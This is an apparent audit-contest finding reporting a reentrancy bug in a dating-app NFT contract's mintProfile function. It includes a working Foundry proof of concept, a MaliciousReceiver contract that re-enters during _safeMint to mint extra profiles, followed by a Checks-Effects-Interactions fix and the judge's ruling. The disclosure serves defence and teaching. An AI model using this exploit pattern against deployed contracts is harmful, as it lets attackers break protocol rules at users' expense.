DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy Vulnerability in SoulboundProfileNFT Contract, `mintProfile` function

Overview

A reentrancy vulnerability has been discovered in the mintProfile() function of the SoulboundProfileNFT contract. This security flaw allows an attacker to mint multiple NFT profiles when they should only be allowed one.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId); // <-- Vulnerability starts here
// State updates happen after external call
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

Proof of Concept:

Place the following lines of code in the test folder testSoulboundProfileNFT.t.sol:

function testReentrancyVulnerability() public {
// Deploy malicious contract
MaliciousReceiver attacker = new MaliciousReceiver(address(soulboundNFT));
// Start the attack
vm.prank(address(attacker));
attacker.attack();
// Check if the attacker was able to mint multiple profiles
// uint256 attackerTokenId = soulboundNFT.profileToToken(address(attacker));
assertTrue(attacker.attacked(), "Reentrancy attack should have been attempted");
// The second mint should have succeeded due to reentrancy
assertEq(soulboundNFT.balanceOf(address(attacker)), 2, "Attacker should have minted 2 NFTs");
}

Here is the contract of the attacker:

  • The attacker creates a malicious contract that implements onERC721Received

  • Attacker calls mintProfile() for the first time

  • During _safeMint, the contract calls back to the attacker's onERC721Received

  • In onERC721Received, attacker calls mintProfile() again

  • Second call succeeds because profileToToken[msg.sender] hasn't been updated yet

  • The attacker ends up with multiple profiles when only one should be allowed

// Malicious contract that attempts reentrancy
contract MaliciousReceiver {
SoulboundProfileNFT public nft;
bool public attacked;
constructor(address _nft) {
nft = SoulboundProfileNFT(_nft);
}
function attack() external {
nft.mintProfile("Evil", 99, "evil.jpg");
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external returns (bytes4) {
if (!attacked) {
attacked = true;
// Try to mint again during the callback
nft.mintProfile("Evil2", 88, "evil2.jpg");
}
return this.onERC721Received.selector;
}

Impact

  • Users can create multiple profiles when they should only have one

  • Violates the core business logic of the dating app

  • Could lead to spam and fake profiles

  • Undermines the "soulbound" property of the NFT

Tools Used

  • Manual Review

  • Foundry: For the writing of test

Recommended Mitigation

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
// Update state first
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
// External call last
_safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
  • Follows the Checks-Effects-Interactions pattern

  • Updates all state variables before making external calls

  • Even if the attacker tries to reenter, they'll be stopped by the initial require check

  • Ensures one profile per address rule is enforced

Updates

Appeal created

n0kto Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.